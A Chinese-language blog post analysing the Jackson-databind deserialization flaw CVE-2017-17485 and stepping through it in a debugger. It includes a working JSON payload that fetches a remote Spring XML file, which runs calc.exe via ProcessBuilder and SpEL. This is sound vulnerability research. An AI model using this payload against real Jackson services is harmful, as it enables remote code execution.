Java反序列化之Jackson-databind
阿新 • • 發佈:2018-12-31
這個洞的cve編號:CVE-2017-17485,漏洞環境就如第一個連結那樣,jdk需要在jdk 1.8以上。
先看一下Jackson-databind的用法,說白了就是將json轉換成物件。
test-legit.json程式碼如下
{"id":123}
執行結果如圖:
如果注入的json程式碼如下程式碼,就會引入FileSystemXmlApplicationContext這個類,去下載spel.xml:
{"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml"]}
spel.xml配置如下:
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg value="calc.exe" /> <property name="whatever" value="#{ pb.start() }"/> </bean> </beans>
下斷點除錯一下,F7跟進readValue函式。
在readValue函式就是反序列化json,一直f8以後,在getBean下斷點後,讀取了id是pb的bean,也就是getBean執行完成後操作導致命令執行了(具體的例子可以看第一個連結)。
進行表示式評估。
返回建構函式。
對#{ pb.start() }進行spel操作
當解析完pb.start操作後就會命令執行
呼叫棧如下圖:
說一下為什麼引入FileSystemXmlApplicationContext類就能操縱spel
先找到FileSystemXmlApplicationContext這個類
通過IntelliJ IDEA的Show Diagram Popup這個功能來觀察類和介面的繼承關係
雙擊BeanFactory介面,這個介面有getBean方法
實際呼叫geBean方法的則是在AbstractBeanFactory類中
還有一個jakson CVE-2017-7525的洞有時間在跟一下。
可以參考這幾篇文章:http://xxlegend.com/
https://github.com/shengqi158/Jackson-databind-RCE-PoC
http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/
參考連結:
https://chenergy1991.github.io/2017/12/25/CVE-2017-7275/
http://pirogue.org/2018/01/12/jackson-databind-rce/
https://github.com/irsl/jackson-rce-via-spel